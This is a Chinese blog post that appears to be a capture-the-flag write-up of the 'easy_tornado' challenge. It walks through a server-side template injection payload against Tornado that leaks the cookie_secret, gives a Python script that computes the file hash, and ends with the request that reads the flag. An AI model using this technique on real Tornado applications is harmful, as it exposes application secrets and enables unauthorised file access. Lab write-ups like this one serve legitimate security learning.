当前位置:网站首页>漏洞复现-easy_tornado
漏洞复现-easy_tornado
2022-07-07 05:07:00 【_s1mple】
[环境]
windows
[工具]
Firefox
[步骤]
tornado是python中的一个web应用框架。
拿到题目发现有三个文件:
flag.txt
/flag.txt
flag in /fllllllllllllag
发现flag在/fllllllllllllag文件里;
welcome.txt
/welcome.txt
render
render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
hints.txt
/hints.txt
md5(cookie_secret+md5(filename))
filehash=md5(cookie_secret+md5(filename)) 现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)
尝试/error?msg={ {datetime}} 在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
RequestHandler.settings
An alias for self.application.settings.
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
/error?msg={
{handler.settings}}
'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
计算filehash值:
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
payload:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
成功获取flag。
边栏推荐
- 有 Docker 谁还在自己本地安装 Mysql ?
- Jmeter 的使用
- C语言二叉树与建堆
- jeeSite 表单页面的Excel 导入功能
- Register of assembly language by Wang Shuang
- Thinkcmf6.0 installation tutorial
- Merging binary trees by recursion
- Recursive method to verify whether a tree is a binary search tree (BST)
- 快速使用 Jacoco 代码覆盖率统计
- Dedecms collects content without writing rules
猜你喜欢
随机推荐
Niu Mei's mathematical problem --- combinatorial number
快速使用 Jacoco 代码覆盖率统计
Avatary's livedriver trial experience
青龙面板--花花阅读
Paddlepaddle 29 dynamically modify the network structure without model definition code (relu changes to prelu, conv2d changes to conv3d, 2D semantic segmentation model changes to 3D semantic segmentat
贝叶斯定律
央视太暖心了,手把手教你写HR最喜欢的简历
Network learning (III) -- highly concurrent socket programming (epoll)
青龙面板--整理能用脚本
CDC (change data capture technology), a powerful tool for real-time database synchronization
Complex network modeling (III)
JS复制图片到剪切板 读取剪切板
Force buckle 144 Preorder traversal of binary tree
Blob 对象介绍
Summary of redis functions
The largest 3 same digits in the string of leetcode simple question
Call pytorch API to complete linear regression
Unityhub cracking & unity cracking
C语言二叉树与建堆
运放电路的反馈电阻上并联一个电容是什么作用